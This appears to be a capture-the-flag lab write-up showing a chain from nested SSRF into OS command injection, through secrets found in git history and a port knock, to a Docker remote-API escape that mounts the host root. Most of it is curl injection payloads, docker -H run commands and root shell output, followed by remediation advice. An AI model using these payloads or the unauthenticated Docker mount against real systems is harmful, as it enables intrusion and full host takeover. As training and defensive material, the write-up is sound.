Case file

SSRF command injection, git secret recovery, and Docker API escape

Intermediate container engagement: nested SSRF into api-dev-backup enabled OS command injection and git history secrets; port knock opened Docker TCP 2375; host filesystem mount via alpine chroot recovered true root.

Intermediate28 minWeb · SSRF · Docker · Container Escape
  • Hidden web artifacts and SSRF into an internal backup API yielded container-level secrets including knock ports. Opening the Docker remote API and mounting the host root completed the escape.

  • Full TCP scan and directory brute force located security.txt and an API path returning the first engagement artifact.

  • exif URL SSRF reached api-dev-backup; nested url= accepted shell metacharacters and exposed git commit secrets including knock ports.

  • Knock opened 2375. An alpine container with -v /:/mnt and chroot reached host root.

01

Engagement summary

Hidden web artifacts and SSRF into an internal backup API yielded container-level secrets including knock ports. Opening the Docker remote API and mounting the host root completed the escape.

THE GREAT ESCAPE presented a multi-layer Dockerized application. After full-port recon and gobuster, /.well-known/security.txt and a crafted /api/fl46 path returned an early web artifact. robots.txt pointed at /exif-util; the /api/exif?url= parameter accepted SSRF into http://api-dev-backup:8080, and a second nested url= parameter accepted OS command injection. Through that channel we listed /root, read git history, and recovered a commit that disclosed the knock sequence. Knocking opened Docker API port 2375 without TLS; docker -H <IP>:2375 run -v /:/mnt alpine chroot /mnt reached the real host root.

Business impact

SSRF into internal admin APIs plus command injection is container compromise. An unauthenticated Docker TCP socket is host compromise. Disable nested URL fetchers, sanitize shell invocations, never expose Docker 2375 without mTLS and network policy, and keep knock sequences out of git history.

02

Recon and hidden web artifact

Full TCP scan and directory brute force located security.txt and an API path returning the first engagement artifact.

OPERATOR · RECON

savvy@lab:~$ nmap -sSCV -p- 10.10.88.50

savvy@lab:~$ gobuster dir -f -u http://10.10.88.50 -w /usr/share/wordlists/dirb/big.txt

savvy@lab:~$ curl http://10.10.88.50/.well-known/security.txt

savvy@lab:~$ curl -I http://10.10.88.50//api/fl46

HTTP/1.1 200 OK # web-stage artifact recovered

03

Nested SSRF and command injection

exif URL SSRF reached api-dev-backup; nested url= accepted shell metacharacters and exposed git commit secrets including knock ports.

OPERATOR · SSRF

savvy@lab:~$ curl http://10.10.88.50/robots.txt

/exif-util

savvy@lab:~$ curl 'http://10.10.88.50/api/exif?url=http://api-dev-backup:8080/exif?url=;id'

uid=0(root) gid=0(root) # container context

savvy@lab:~$ curl 'http://10.10.88.50/api/exif?url=http://api-dev-backup:8080/exif?url=;git -C /root log'

savvy@lab:~$ curl 'http://10.10.88.50/api/exif?url=http://api-dev-backup:8080/exif?url=;git -C /root show a3d30a7d0510dc6565ff9316e3fb84434916dee8'

# commit discloses knock sequence 42 1337 10420 6969 63000

04

Port knock and Docker API host mount

Knock opened 2375. An alpine container with -v /:/mnt and chroot reached host root.

OPERATOR · DOCKER ESCAPE

savvy@lab:~$ knock 10.10.88.50 42 1337 10420 6969 63000

savvy@lab:~$ nmap 10.10.88.50 -p 2375

2375/tcp open docker

savvy@lab:~$ docker -H 10.10.88.50:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh

root@lab:/# id

uid=0(root) gid=0(root) groups=0(root)

root@lab:/# cat /root/flag.txt

host root artifact recovered

Remediation

Block SSRF to internal hostnames; never pass URL parameters into shell. Require authenticated Docker API with TLS; do not open 2375 via knock alone. Scrub secrets from git history in images.